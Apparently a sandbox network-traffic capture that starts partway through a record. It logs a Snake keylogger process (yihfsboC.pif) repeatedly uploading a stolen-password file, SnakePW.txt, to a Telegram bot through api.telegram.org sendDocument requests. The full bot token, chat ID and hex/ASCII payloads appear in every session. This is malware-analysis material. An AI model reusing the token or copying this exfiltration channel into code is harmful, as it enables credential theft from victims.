--------------------------8dd0eb3179c3f7fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:25:53 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:52 GMT Content-Type: application/json Content-Length: 523 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:53 UTC	523	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 31 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 35 32 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388913,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605952,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	49870	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:52 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0f28be95a5fb Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:52 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 32 38 62 65 39 35 61 35 66 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0f28be95a5fbContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:25:53 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:53 GMT Content-Type: application/json Content-Length: 523 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:53 UTC	523	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 31 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 35 32 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388915,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605952,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	49876	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:53 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0eab5a499b52 Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:53 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 61 62 35 61 34 39 39 62 35 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0eab5a499b52Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:25:54 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:54 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:54 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 31 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 35 34 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388918,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605954,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	49877	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:54 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0ec9f12dbdf1 Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:54 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 63 39 66 31 32 64 62 64 66 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0ec9f12dbdf1Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:25:55 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:55 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:55 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 32 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 35 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388922,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605955,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	49878	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:54 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0f4082f33a4c Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:54 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 34 30 38 32 66 33 33 61 34 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0f4082f33a4cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:25:55 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:54 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:55 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 32 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 35 34 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388920,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605954,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	49884	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:56 UTC	358	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0ec250d2c789 Host: api.telegram.org Content-Length: 537 Connection: Keep-Alive
2024-11-26 07:25:56 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 63 32 35 30 64 32 63 37 38 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0ec250d2c789Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:25:59 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:59 GMT Content-Type: application/json Content-Length: 523 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:59 UTC	523	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 32 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 35 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388924,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605959,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	49886	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:56 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0f519f0d5ca3 Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:56 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 35 31 39 66 30 64 35 63 61 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0f519f0d5ca3Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:25:59 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:59 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:59 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 32 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 35 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388926,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605959,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	49887	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:56 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0ede0895058a Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:56 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 64 65 30 38 39 35 30 35 38 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0ede0895058aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:25:59 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:59 GMT Content-Type: application/json Content-Length: 523 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:59 UTC	523	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 32 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 35 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: 